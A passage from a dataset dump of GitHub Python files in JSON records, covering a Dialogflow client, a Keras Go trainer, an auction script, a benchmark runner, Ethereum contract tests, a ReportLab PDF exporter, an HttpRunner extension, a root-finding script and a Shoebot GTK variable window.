input device.\n # while True:\n # chunk = audio_queue.get()\n # logging.info(chunk)\n # if audio_queue.empty():\n # break\n # for chunk in microphone_stream.start_sync():\n for chunk in iter(audio_queue.get, None):\n # The later requests contains audio data.\n audio_input = session.AudioInput(audio=chunk)\n query_input = session.QueryInput(audio=audio_input)\n yield session.StreamingDetectIntentRequest(query_input=query_input)\n\n responses = session_client.streaming_detect_intent(\n requests=request_generator())\n\n print(\"=\" * 20)\n should_stop_next = False\n for response in responses:\n print(\n f'Intermediate transcript: \"{response.recognition_result.transcript}\".')\n if should_stop_next:\n break\n should_stop_next = response.recognition_result.is_final\n\n # Note: The result from the last response is the final transcript along\n # with the detected content.\n response = response.detect_intent_response\n print(f\"Query text: {response.query_result.transcript}\")\n response_messages = [\n \" \".join(msg.text.text) for msg in response.query_result.response_messages\n ]\n print(f\"Response text: {' '.join(response_messages)}\\n\")\n\n\n# [END dialogflow_detect_intent_stream]\n\nif __name__ == \"__main__\":\n agent = config.AGENT\n session_id = uuid.uuid4()\n language_code = 'en-au'\n detect_intent_stream(agent, session_id, language_code)\n","repo_name":"furnapso/samantha-for-agents-testing","sub_path":"streaming_intent_request.py","file_name":"streaming_intent_request.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17292134365","text":"from __future__ import print_function\nfrom keras.models import Sequential\nfrom keras.layers.core import Dense\nfrom keras.utils import to_categorical\n\nfrom dlgo.data.parallel_processor import GoDataProcessor\nfrom dlgo.encoders.sevenplane import SevenPlaneEncoder\nfrom dlgo.networks.large import layers\n\ngo_board_rows, go_board_cols = 19, 19\nnb_classes = go_board_rows * go_board_cols\n\nencoder = SevenPlaneEncoder((go_board_rows, go_board_cols))\nprocessor = GoDataProcessor(encoder=encoder.name())\n\ninput_channels = encoder.num_planes\ninput_shape = (input_channels, go_board_rows, go_board_cols)\n\nX, y = processor.load_go_data(num_samples=1000)\nX = X.astype('float32')\nY = to_categorical(y, nb_classes)\n\nmodel = Sequential()\nnetwork_layers = layers(input_shape)\nfor layer in network_layers:\n model.add(layer)\nmodel.add(Dense(nb_classes, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='adadelta', metrics=['accuracy'])\n\nmodel.fit(X, Y, batch_size=128, epochs=100, verbose=1)\n\nweight_file = '../agents/weights.hd5'\nmodel.save_weights(weight_file, overwrite=True)\nmodel_file = '../agents/model.yml'\nwith open(model_file, 'w') as yml:\n model_yaml = model.to_yaml()\n yml.write(model_yaml)\n","repo_name":"maxpumperla/deep_learning_and_the_game_of_go","sub_path":"code/examples/train_and_store.py","file_name":"train_and_store.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","stars":906,"dataset":"github-code","pt":"78"} +{"seq_id":"71224888892","text":"#!usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n'model_io.py'\n\nModel-specific input/output functions.\n\n2019 Steve Neale \n\"\"\"\n\nimport os\n\nfrom src.io.utils import load_pickled_model, save_pickled_model\n\n\nclass ModelIO:\n\n @staticmethod\n def load_model_from_path(model_path):\n if not os.path.exists(model_path):\n raise FileNotFoundError(\"The given model path could not be found.\")\n model = load_pickled_model(model_path)\n return model\n\n @staticmethod\n def save_model_to_destination(model, destination):\n save_pickled_model(model, destination)\n","repo_name":"steveneale/lang_detector","sub_path":"src/io/model_io.py","file_name":"model_io.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26470858280","text":"#silent auction bidding program\nimport math\n\nbids = {}\n\nstill_bidding = True\n\ndef add_to_bidding_pool(name,bid):\n bids[name] = bid\n\ndef find_higest_bidder(bidding_record):\n highest_bid = 0\n for bidder in bidding_record:\n bid_amount = bidding_record[bidder]\n if bid_amount > highest_bid:\n highest_bid = bid_amount\n winner = bidder\n print(f'The winner is {winner} with a bid of ${highest_bid}')\n\nwhile still_bidding:\n bid = int(input('Whats your bid?\\n$'))\n name = input('Thanks, Your name?\\n')\n\n add_to_bidding_pool(name, bid)\n\n end_bidding = input('Are there still bids? yes or no?').lower()\n if end_bidding == 'no':\n still_bidding = False\n find_higest_bidder(bids)\n print(bids)","repo_name":"eablooshad/Learning-py","sub_path":"day9/main4.py","file_name":"main4.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"45751879814","text":"#!/usr/bin/python3\nimport configparser\nimport subprocess\nimport datetime\nimport json\nimport sys\nimport os\nimport re\n\nfrom pathlib import Path\n\n# needed to find the execution_info.ini\ndef get_latest_output_folder(path):\n output_path_study = os.path.join(path, \"output\")\n files = os.listdir(output_path_study)\n paths = [os.path.join(output_path_study, basename) for basename in files]\n return max(paths, key=os.path.getctime)\n\n# used to get the memory and time from the /bin/time -v file\ndef search_patern_in_file(file_name, pattern):\n with open(file_name) as f:\n s = f.read()\n m = re.search(pattern, s)\n if m:\n return m.groups(1)[1]\n else:\n raise Exception(\"Sorry, no numbers below zero\")\n\ndef get_git_revision_hash() -> str:\n return subprocess.check_output(['git', 'rev-parse', 'HEAD']).decode('ascii').strip()\n\nclass StudyList(object):\n\n def __init__(self, name, path):\n self.name = name # study name, used in JSON and out_file\n self.path = Path(path).resolve() # study path\n self.out_file = name + \"-metrics.txt\" # name of the /bin/time -v file\n\n def run_metrics(self, exe):\n res = subprocess.run([\"/bin/time\" , \"-o\", self.out_file, \"-v\", exe, self.path])\n assert (res.returncode == 0), \"The exec failed for study: \" + str(self.path)\n\n def get_memory(self):\n memory = int(search_patern_in_file(self.out_file, \"Maximum(.*): (.*)\"))\n os.remove(self.out_file) # clean file after we get data\n return memory\n\n def create_json(self):\n return { 'peak_memory_mb' : self.get_memory() / 1024 } # convert to Mb\n\n # read the [sections] from the execution_info.ini file in the study output\n def read_execution_ini(self, json_data):\n output_folder = get_latest_output_folder(self.path)\n ini_path = os.path.join(output_folder, \"execution_info.ini\")\n\n config = configparser.ConfigParser()\n config.read(ini_path)\n json_data[\"durations_s\"] = dict(config.items('durations_ms'))\n json_data[\"optimization problem\"] = dict(config.items('optimization problem'))\n json_data[\"study\"] = dict(config.items('study'))\n\n # convert ms into seconds\n durations = json_data['durations_s']\n for i in durations:\n durations[i] = float(durations[i]) / 1000\n\n\n# load the JSON list containing studies to benchmark\ndef read_study_list():\n study_list = []\n with open(\"studiesToBenchmark.json\", \"r\") as f:\n studies = json.load(f)\n for name in studies:\n study_list.append(StudyList(name, studies[name]))\n return study_list\n\n\ndef main(solver_path):\n # init and general data for the JSON\n results = {}\n results[\"commit-id\"] = get_git_revision_hash()\n\n date = datetime.datetime.now()\n results[\"date\"] = date.strftime(\"%x %X\")\n\n # Execution and results for each study\n for studies in read_study_list():\n studies.run_metrics(solver_path)\n results[studies.name] = studies.create_json()\n studies.read_execution_ini(results[studies.name])\n\n # Writing the JSON\n with open(\"results.json\", \"w\") as f:\n f.write(json.dumps(results))\n\n\nif len(sys.argv) < 2:\n raise Exception(\"Not enough arguments, need solver path\")\n\nsolver_path = sys.argv[1]\nif not os.path.isfile(solver_path):\n raise Exception(\"Invalid solver path, file not found\")\n\n\n# change current directory to the script directory\nabspath = os.path.abspath(__file__)\ndname = os.path.dirname(abspath)\nos.chdir(dname)\n\nmain(solver_path)\n","repo_name":"AntaresSimulatorTeam/Antares_Simulator","sub_path":"src/tests/benchmark/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"78"} +{"seq_id":"27500832446","text":"import matplotlib.pyplot as plt\nimport os\n\nOUTPUT_PATH = \"./outputs\"\nDATE_PATH = \"2023-04-11\"\nTIME_PATH = \"02-32-55\"\n\n# _400 epochs with new LM setting\n# DATE_PATH = \"2023-04-10\"\n# TIME_PATH = \"16-51-23\"\n\n# 1000 epochs with old LM setting\n# DATE_PATH = \"2023-04-09\"\n# TIME_PATH = \"16-32-32\"\n\nfile_path = os.path.join(OUTPUT_PATH, DATE_PATH, TIME_PATH)\nloss_path = os.path.join(file_path, 'loss.txt')\nplot_path = os.path.join(file_path, 'loss.png')\n\nwith open(loss_path, 'r') as f:\n lines = f.readlines()\n\nlines = [float(l[:-1]) for l in lines]\n\nplt.plot(lines)\nplt.title(\"End-to-end loss\")\nplt.xlabel('Epochs')\nplt.ylabel('Loss')\nplt.savefig(plot_path)","repo_name":"Cross-view-localization-ROB-590/cross-view-localization","sub_path":"plot_loss.py","file_name":"plot_loss.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8208757696","text":"num = int(input('Digite um numero: '))\ntotal = 0\nfor c in range(1, num + 1):\n if num % c == 0:\n print(f'\\033[32m{c}', end=' ')\n total = total + 1\n else:\n print(f'\\033[31m{c}', end=' ')\nprint(f'\\n\\033[33mO numero {num} foi divisível {total} vezes')\nif total == 2:\n print('Por isso ele é PRIMO')\nelse:\n print('Por isso ele não é Primo')\n","repo_name":"ClaudioProjects/exercicios-python","sub_path":"Ex000/ex052.py","file_name":"ex052.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18848775487","text":"import argparse\n\nuseindirasroot = (\n ('-ir', '--useindirasroot'),\n {\n 'help': 'if input URL is a directory use out_dir/input_dir instead of out_dir only as output root',\n 'dest': 'use_in_dir_as_root',\n 'action': 'store_true'\n }\n)\n\ndirdepth = (\n ('-dd', '--dirdepth'),\n {\n 'dest': 'dir_depth',\n 'help': 'output directory tree depth',\n 'type': int,\n 'default': 0\n }\n)\n\nargs_parser = argparse.ArgumentParser()\nargs_parser.add_argument(\n '-v', '--verbosity',\n help='verbosity level: DEBUG, INFO, WARNING (DEFAULT), ERROR, CRITICAL, NONE',\n type=str,\n choices=['TRACE', 'DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL', 'NONE'],\n default='INFO'\n)\nargs_parser.add_argument(\n '-l', '--loglevel',\n dest='log_level',\n help='file logging level: DEBUG, INFO, WARNING (DEFAULT), ERROR, CRITICAL',\n type=str,\n choices=['TRACE', 'DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL'],\n default='INFO'\n)\nargs_parser.add_argument(\n '-ls', '--logsplit',\n dest='log_split',\n help='split log file',\n action='store_true'\n)\nargs_parser.add_argument(\n '-c', '--confpath',\n dest='conf_path',\n help='path to configuration file',\n type=str,\n default='config.json'\n)\nargs_parser.add_argument(\n '-s', '--simulate',\n help='simulate command execution for test purposes - no changes will be made',\n action='store_true'\n)\n\nsubparsers = args_parser.add_subparsers(dest='command', help='command')\nsubparsers.required = True\n\nparser_run = subparsers.add_parser('run')\nparser_run.add_argument(\n 'input_url',\n help='input URL',\n type=str\n)\nparser_run.add_argument(\n 'rules_set',\n help='rules set path',\n type=str\n)\nparser_run.add_argument(\n '-d', '--dispatcher',\n help='dispatcher module name',\n type=str,\n default='basic'\n)\nparser_run.add_argument(\n '-r', '--rulesprovider',\n help='rules provider module name',\n dest='rules_provider',\n type=str,\n default='json'\n)\nparser_run.add_argument(\n *useindirasroot[0],\n **useindirasroot[1]\n)\nparser_run.add_argument(\n *dirdepth[0],\n **dirdepth[1]\n)\n\nparser_version = subparsers.add_parser('version')\n\nparser_convert = subparsers.add_parser('convert')\nparser_convert.add_argument(\n 'input_url',\n help='input URL',\n type=str\n)\nparser_convert.add_argument(\n 'profile',\n help='Conversion profile\\'s name',\n type=str\n)\nparser_convert.add_argument(\n '-cv', '--converter',\n help='converter module name',\n type=str,\n default='basic'\n)\n\n\ndef _convert_profilevar(value: str):\n splitted_value = value.split('=', 1)\n if len(splitted_value) == 1:\n return splitted_value, None\n else:\n return splitted_value\n\nparser_convert.add_argument(\n '-pv', '--profilevar',\n help='profile variables',\n action='append',\n type=_convert_profilevar,\n)\n\nparser_convert.add_argument(\n *useindirasroot[0],\n **useindirasroot[1]\n)\nparser_convert.add_argument(\n *dirdepth[0],\n **dirdepth[1]\n)\n","repo_name":"einsfr/autoarchive","sub_path":"args_parser.py","file_name":"args_parser.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41529470209","text":"from ethereum import utils\nfrom ethereum.tester import (\n accounts,\n encode_hex,\n)\n\n\ndeploy_contracts = [\n \"CallLib\",\n \"Scheduler\",\n \"TestCallExecution\",\n]\n\n\ndef test_scheduler_gets_what_is_leftover(deploy_client, deployed_contracts,\n deploy_future_block_call, denoms,\n deploy_coinbase, FutureBlockCall,\n CallLib, SchedulerLib):\n scheduler = deployed_contracts.Scheduler\n client_contract = deployed_contracts.TestCallExecution\n\n scheduler_address = \"0x\" + encode_hex(accounts[1])\n deploy_client.send_transaction(to=scheduler_address, value=20 * denoms.ether)\n\n target_block = deploy_client.get_block_number() + 1000\n\n call = deploy_future_block_call(\n client_contract.setBool,\n target_block=target_block,\n payment=12345,\n donation=54321,\n endowment=denoms.ether * 10,\n scheduler_address=scheduler_address,\n )\n\n deploy_client.wait_for_block(target_block)\n\n before_balance = deploy_client.get_balance(scheduler_address)\n before_call_balance = call.get_balance()\n\n assert call.wasCalled() is False\n assert before_call_balance == 10 * denoms.ether\n\n ffa_txn_h = call.execute(_from=deploy_coinbase)\n ffa_txn_r = deploy_client.wait_for_transaction(ffa_txn_h)\n ffa_txn = deploy_client.get_transaction_by_hash(ffa_txn_h)\n\n assert call.wasCalled() is True\n assert call.get_balance() == 0\n\n execute_logs = CallLib.CallExecuted.get_transaction_logs(ffa_txn_h)\n assert len(execute_logs) == 1\n execute_data = CallLib.CallExecuted.get_log_data(execute_logs[0])\n\n after_balance = deploy_client.get_balance(scheduler_address)\n payout = execute_data['payment']\n donation = execute_data['donation']\n\n computed_reimbursement = after_balance - before_balance\n expected_reimbursement = before_call_balance - payout - donation\n\n assert computed_reimbursement == expected_reimbursement\n","repo_name":"daverod24/ethereum-alarm-clock","sub_path":"tests/accounting/test_scheduler_is_reimbursed_whatevers_left.py","file_name":"test_scheduler_is_reimbursed_whatevers_left.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"12829981195","text":"from io import BytesIO\nimport reportlab\nfrom reportlab.pdfgen import canvas\nfrom reportlab.lib.pagesizes import A4\nfrom reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Table, TableStyle\nfrom reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle\nfrom reportlab.lib.enums import TA_JUSTIFY, TA_CENTER\nfrom reportlab.lib import colors\nfrom reportlab.pdfbase import pdfmetrics\nfrom reportlab.pdfbase.ttfonts import TTFont\nfrom reportlab.graphics.charts.linecharts import SampleHorizontalLineChart\nfrom reportlab.graphics.widgets.markers import makeMarker\nfrom reportlab.graphics.shapes import Drawing\n\nfrom django.conf import settings\n\n\ndef WriteToPdf(weather_data, town=None):\n buffer = BytesIO()\n report = PdfPrint(buffer)\n pdf = report.report(weather_data, \"Weather report\")\n return pdf\n\n\nclass PdfPrint:\n def __init__(self, buffer):\n self.buffer = buffer\n self.pageSize = A4\n self.width, self.height = self.pageSize\n\n def report(self, weather_history, title):\n doc = SimpleDocTemplate(\n self.buffer, rightMargin=72, leftMargin=72,\n topMargin=30, bottomMargin=72,\n pagesize=self.pageSize\n )\n # register fonts\n freesans = settings.BASE_DIR + settings.STATIC_URL + \"FreeSans.ttf\"\n freesansbold = settings.BASE_DIR + settings.STATIC_URL + \"FreeSansBold.ttf\"\n pdfmetrics.registerFont(TTFont('FreeSans', freesans))\n pdfmetrics.registerFont(TTFont('FreeSansBold', freesansbold))\n # set up styles\n styles = getSampleStyleSheet()\n styles.add(ParagraphStyle(\n name=\"TableHeader\", fontSize=11, alignment=TA_CENTER,\n fontName=\"FreeSansBold\"))\n styles.add(ParagraphStyle(\n name=\"ParagraphTitle\", fontSize=11, alignment=TA_JUSTIFY,\n fontName=\"FreeSansBold\"))\n styles.add(ParagraphStyle(\n name=\"Justify\", alignment=TA_JUSTIFY, fontName=\"FreeSans\"))\n\n data = []\n data.append(Paragraph(title, styles[\"Title\"]))\n data.append(Spacer(1, 12))\n table_data = []\n # table header\n table_data.append([\n Paragraph('Date', styles['TableHeader']),\n Paragraph('Station', styles['TableHeader']),\n Paragraph('Min temp', styles['TableHeader']),\n Paragraph('Mean temp', styles['TableHeader']),\n Paragraph('Max temp', styles['TableHeader'])\n ])\n for wh in weather_history:\n # add a row to table\n table_data.append([\n wh.date,\n Paragraph(wh.station.name, styles['Justify']),\n u\"{0} °C\".format(wh.min),\n u\"{0} °C\".format(wh.mean),\n u\"{0} °C\".format(wh.max)\n ])\n # create table\n wh_table = Table(table_data, colWidths=[doc.width/5.0]*5)\n wh_table.hAlign = 'LEFT'\n wh_table.setStyle(TableStyle(\n [('INNERGRID', (0, 0), (-1, -1), 0.25, colors.black),\n ('BOX', (0, 0), (-1, -1), 0.5, colors.black),\n ('VALIGN', (0, 0), (-1, 0), 'MIDDLE'),\n ('BACKGROUND', (0, 0), (-1, 0), colors.gray)]))\n data.append(wh_table)\n data.append(Spacer(1, 48))\n\n # create line chart\n chart = SampleHorizontalLineChart()\n chart.width = 350\n chart.height = 135\n mins = [float(x.min) for x in weather_history]\n means = [float(x.mean) for x in weather_history]\n maxs = [float(x.max) for x in weather_history]\n chart.data = [mins, means, maxs]\n chart.lineLabels.fontName = 'FreeSans'\n chart.strokeColor = colors.white\n chart.fillColor = colors.lightblue\n chart.lines[0].strokeColor = colors.red\n chart.lines[0].strokeWidth = 2\n chart.lines.symbol = makeMarker('Square')\n chart.lineLabelFormat = '%2.0f'\n chart.categoryAxis.joinAxisMode = 'bottom'\n chart.categoryAxis.labels.fontName = 'FreeSans'\n chart.categoryAxis.labels.angle = 45\n chart.categoryAxis.labels.boxAnchor = 'e'\n chart.categoryAxis.categoryNames = [str(x.date) for x in weather_history]\n chart.valueAxis.labelTextFormat = '%2.0f °C'\n chart.valueAxis.valueStep = 10\n\n # chart needs to be put in a drawing\n d = Drawing(0, 170)\n d.add(chart)\n # add drawing to data\n data.append(d)\n\n doc.build(data)\n pdf = self.buffer.getvalue()\n self.buffer.close()\n return pdf\n","repo_name":"roppert/django-export-excel-and-pdf","sub_path":"project/app/export/pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"39539752594","text":"import os\n\nfrom httprunner.api import HttpRunner\nfrom httprunner import (__version__, exceptions, loader, logger)\n\nclass QHttprunner(HttpRunner):\n '''\n 之所以重写HttpRunner 的run方法:是因为HttpRunner的run不支持跑测试用例路径列表,所改写一下\n '''\n\n def run(self, path_or_tests, dot_env_path=None, mapping=None):\n \"\"\" main interface.\n\n Args:\n path_or_tests:\n str: testcase/testsuite file/foler path\n dict: valid testcase/testsuite data\n dot_env_path (str): specified .env file path.\n mapping (dict): if mapping is specified, it will override variables in config block.\n\n Returns:\n dict: result summary\n\n \"\"\"\n logger.log_info(\"HttpRunner version: {}\".format(__version__))\n if loader.is_test_path(path_or_tests):\n root_path = path_or_tests[0]\n return self.run_paths(root_path, path_or_tests, dot_env_path, mapping)\n elif loader.is_test_content(path_or_tests):\n project_working_directory = path_or_tests.get(\"project_mapping\", {}).get(\"PWD\", os.getcwd())\n loader.init_pwd(project_working_directory)\n return self.run_tests(path_or_tests)\n else:\n raise exceptions.ParamsError(\"Invalid testcase path or testcases: {}\".format(path_or_tests))\n\n\n def run_paths(self, root_path, path_or_tests, dot_env_path=None, mapping=None):\n \"\"\" run testcase/testsuite file or folder.\n\n Args:\n path (str): testcase/testsuite file/foler path.\n dot_env_path (str): specified .env file path.\n mapping (dict): if mapping is specified, it will override variables in config block.\n\n Returns:\n dict: result summary\n\n \"\"\"\n # load tests\n self.exception_stage = \"load tests\"\n\n\n tests_mapping = self.load_cases(root_path, path_or_tests, dot_env_path)\n\n if mapping:\n tests_mapping[\"project_mapping\"][\"variables\"] = mapping\n logger.get_logger().disabled = False\n return self.run_tests(tests_mapping)\n\n\n def load_cases(self, root_path, path_or_tests, dot_env_path=None):\n \"\"\" load testcases from file path, extend and merge with api/testcase definitions.\n\n Args:\n path (str): testcase/testsuite file/foler path.\n path could be in 2 types:\n - absolute/relative file path\n - absolute/relative folder path\n dot_env_path (str): specified .env file path\n\n Returns:\n dict: tests mapping, include project_mapping and testcases.\n each testcase is corresponding to a file.\n {\n \"project_mapping\": {\n \"PWD\": \"XXXXX\",\n \"functions\": {},\n \"env\": {}\n },\n \"testcases\": [\n { # testcase data structure\n \"config\": {\n \"name\": \"desc1\",\n \"path\": \"testcase1_path\",\n \"variables\": [], # optional\n },\n \"teststeps\": [\n # test data structure\n {\n 'name': 'test desc1',\n 'variables': [], # optional\n 'extract': [], # optional\n 'validate': [],\n 'request': {}\n },\n test_dict_2 # another test dict\n ]\n },\n testcase_2_dict # another testcase dict\n ],\n \"testsuites\": [\n { # testsuite data structure\n \"config\": {},\n \"testcases\": {\n \"testcase1\": {},\n \"testcase2\": {},\n }\n },\n testsuite_2_dict\n ]\n }\n\n \"\"\"\n\n tests_mapping = {\n \"project_mapping\": loader.load_project_data(root_path, dot_env_path)\n }\n\n def __load_file_content(path):\n loaded_content = None\n try:\n loaded_content = loader.buildup.load_test_file(path)\n except exceptions.ApiNotFound as ex:\n logger.log_warning(\"Invalid api reference in {}: {}\".format(path, ex))\n except exceptions.FileFormatError:\n logger.log_warning(\"Invalid test file format: {}\".format(path))\n\n if not loaded_content:\n pass\n elif loaded_content[\"type\"] == \"testsuite\":\n tests_mapping.setdefault(\"testsuites\", []).append(loaded_content)\n elif loaded_content[\"type\"] == \"testcase\":\n tests_mapping.setdefault(\"testcases\", []).append(loaded_content)\n elif loaded_content[\"type\"] == \"api\":\n tests_mapping.setdefault(\"apis\", []).append(loaded_content)\n\n for path in path_or_tests:\n if os.path.isdir(path):\n files_list = loader.buildup.load_folder_files(path)\n for path in files_list:\n __load_file_content(path)\n\n elif os.path.isfile(path):\n __load_file_content(path)\n\n return tests_mapping\n","repo_name":"bjshkj/apirun","sub_path":"hrengine/src/qhttprunner.py","file_name":"qhttprunner.py","file_ext":"py","file_size_in_byte":5698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24929149337","text":"import time\nfonksiyon=[]\nwhile True:\n try:\n max_derece=int(input(\"Lütfen fonksiyonun en büyük derecesini giriniz:\"))\n break\n except:\n print(\"Lütfen bir tam sayı giriniz.\")\nwhile True:\n try:\n min_derece=int(input(\"Lütfen fonksiyonun en düşük derecesini giriniz:\"))\n break\n except:\n print(\"Lütfen bir tam sayı giriniz.\")\nfor i in range(max_derece,min_derece-1,-1):\n while True:\n try:\n x = float(input(\"{}. dereceli terimin katsayını giriniz:\".format(i)))\n break\n except:\n print(\"Lütfen bir sayı giriniz.\")\n fonksiyon.append(x)\nwhile True:\n try:\n first_x=float(input(\"Lütfen başlangıç değerini giriniz:\"))\n break\n except:\n print(\"Lütfen bir sayı giriniz.\")\nwhile True:\n try:\n delta_x = float(input(\"Lütfen x'in artış miktarını giriniz:\"))\n break\n except:\n print(\"Lütfen bir sayı giriniz.\")\nwhile True:\n try:\n epsilon = float(input(\"Lütfen epsilon değerini giriniz:\"))\n break\n except:\n print(\"Lütfen bir sayı giriniz.\")\ndef function(fonksiyon,first_x,max_derece):\n sum=0\n j=0\n for i in fonksiyon:\n sum+=(i*(first_x**(max_derece-j)))\n j+=1\n return sum\nsum1 = function(fonksiyon, first_x, max_derece)\nsum2 = function(fonksiyon, first_x + delta_x, max_derece)\nif sum1==0:\n print(\"Kök:\",first_x)\nif sum2==0:\n print(\"Kök:\",first_x+delta_x)\nif sum1!=0 and sum2!=0:\n while abs(delta_x)>epsilon and sum2!=0:\n sum1 = function(fonksiyon, first_x, max_derece)\n sum2 = function(fonksiyon, first_x + delta_x, max_derece)\n if time.process_time()==5:\n print(\"KÖK YOK!!!!!!!!!!!!!!\")\n raise Exception(\"Kök yok.\")\n while (sum1*sum2)>0:\n if time.process_time() == 5:\n print(\"KÖK YOK!!!!!!!!!!!!!!\")\n raise Exception(\"Kök yok.\")\n sum1=sum2\n first_x+=delta_x\n sum2 = function(fonksiyon, first_x+delta_x, max_derece)\n delta_x/=2\n if sum2==0:\n print(\"Kök:\",first_x+2*delta_x)\n else:\n if delta_x>0:\n print(\"Kök [{},{}] aralığındadır.\".format(first_x,first_x+delta_x))\n elif delta_x<0:\n print(\"Kök [{},{}] aralığındadır.\".format(first_x+delta_x, first_x))\n","repo_name":"u-t-k-a-n/sayisalanaliz","sub_path":"graphic method.py","file_name":"graphic method.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21276955170","text":"#!/usr/bin/env python3\nimport os\n\nfrom shoebot.core.backend import gi\nfrom gi.repository import Gtk\nfrom shoebot.core.events import VARIABLE_CHANGED_EVENT, publish_event\nfrom shoebot.core.var_listener import VarListener\nfrom pkg_resources import resource_filename, Requirement\n\nICON_FILE = resource_filename(\n Requirement.parse(\"shoebot\"), \"share/pixmaps/shoebot-ide.png\",\n)\n\nNUMBER = 1\nTEXT = 2\nBOOLEAN = 3\nBUTTON = 4\n\n\ndef pretty_name(name):\n return (name or \"\").replace(\"_\", \" \").capitalize()\n\n\nclass VarWindow:\n def __init__(self, parent, bot, title=None):\n self.parent = parent\n self.bot = bot\n\n self.var_listener = VarListener(self)\n\n self.window = Gtk.Window()\n self.window.set_destroy_with_parent(True)\n self.window.connect(\"destroy\", self.do_quit)\n\n if os.path.isfile(ICON_FILE):\n self.window.set_icon_from_file(ICON_FILE)\n\n self.container = Gtk.VBox(homogeneous=True, spacing=20)\n\n # set up sliders\n self.widgets = {}\n self.vars = {}\n self.add_variables()\n\n self.window.add(self.container)\n self.window.set_size_request(400, 35 * len(list(self.widgets.keys())))\n self.window.show_all()\n\n if title:\n self.window.set_title(title)\n\n def add_variables(self):\n \"\"\"Add all widgets to specified vbox.\n\n :param container:\n :return:\n \"\"\"\n for k, v in list(self.bot._vars.items()):\n if not hasattr(v, \"type\"):\n raise AttributeError(\n \"%s is not a Shoebot Variable - see https://shoebot.readthedocs.io/en/latest/commands.html#dynamic-variables\"\n % k,\n )\n self.add_variable(v)\n\n def add_variable(self, v):\n if v.type is NUMBER:\n self.widgets[v.name] = self.add_number(v)\n elif v.type is TEXT:\n self.widgets[v.name] = self.add_text(v)\n elif v.type is BOOLEAN:\n self.widgets[v.name] = self.add_boolean(v)\n elif v.type is BUTTON:\n self.widgets[v.name] = self.add_button(v)\n else:\n raise ValueError(\"Unknown variable type.\")\n self.vars[v.name] = v\n\n def add_number(self, v):\n # create a slider for each var\n sliderbox = Gtk.HBox(homogeneous=False, spacing=0)\n label = Gtk.Label(pretty_name(v.name))\n sliderbox.pack_start(label, False, True, 20)\n\n if v.min != v.max:\n step = v.step\n else:\n step = 0.0\n\n if v.max - v.min > 2:\n adj = Gtk.Adjustment(v.value, v.min, v.max, step, page_incr=2, page_size=1)\n else:\n adj = Gtk.Adjustment(v.value, v.min, v.max, step)\n adj.connect(\"value_changed\", self.widget_changed, v)\n hscale = Gtk.Scale(orientation=Gtk.Orientation.HORIZONTAL, adjustment=adj)\n hscale.set_value_pos(Gtk.PositionType.RIGHT)\n if (v.max - v.min) / (step or 0.1) > 10:\n hscale.set_digits(2)\n sliderbox.pack_start(hscale, True, True, 0)\n self.container.pack_start(sliderbox, True, True, 0)\n return hscale\n\n def add_text(self, v):\n textcontainer = Gtk.HBox(homogeneous=False, spacing=0)\n label = Gtk.Label(pretty_name(v.name))\n textcontainer.pack_start(label, False, True, 20)\n\n entry = Gtk.Entry()\n entry.set_text(v.value)\n entry.connect(\"changed\", self.widget_changed, v)\n textcontainer.pack_start(entry, True, True, 0)\n self.container.pack_start(textcontainer, True, True, 0)\n\n return entry\n\n def add_boolean(self, v):\n buttoncontainer = Gtk.HBox(homogeneous=False, spacing=0)\n button = Gtk.CheckButton(label=pretty_name(v.name))\n button.set_active(v.value)\n # we send the state of the button to the callback method\n button.connect(\"toggled\", self.widget_changed, v)\n\n buttoncontainer.pack_start(button, True, True, 0)\n self.container.pack_start(buttoncontainer, True, True, 0)\n\n return button\n\n def add_button(self, v):\n buttoncontainer = Gtk.HBox(homogeneous=False, spacing=0)\n # in buttons, the varname is the function, so we use __name__\n\n func_name = v.name\n\n def call_func(*args):\n func = self.bot._namespace[func_name]\n func()\n\n button = Gtk.Button(label=pretty_name(v.name))\n button.connect(\"clicked\", call_func, None)\n buttoncontainer.pack_start(button, True, True, 0)\n self.container.pack_start(buttoncontainer, True, True, 0)\n\n return button\n\n def do_destroy(self, widget):\n self.var_listener.remove()\n\n def do_quit(self, widget):\n pass\n\n def update_var(self, name, value):\n \"\"\"\n :return: success, err_msg_if_failed\n \"\"\"\n widget = self.widgets.get(name)\n if widget is None:\n return False, f\"No widget found matching, {name}\"\n\n try:\n if isinstance(widget, Gtk.CheckButton):\n widget.set_active(value)\n return True, widget.get_active()\n elif isinstance(widget, Gtk.Entry):\n widget.set_text(value)\n return True, widget.get_text()\n else:\n widget.set_value(value)\n return True, widget.get_value()\n except Exception as e:\n return False, str(e)\n\n def widget_changed(self, widget, v):\n \"\"\"Called when a slider is adjusted.\"\"\"\n # set the appropriate bot var\n if 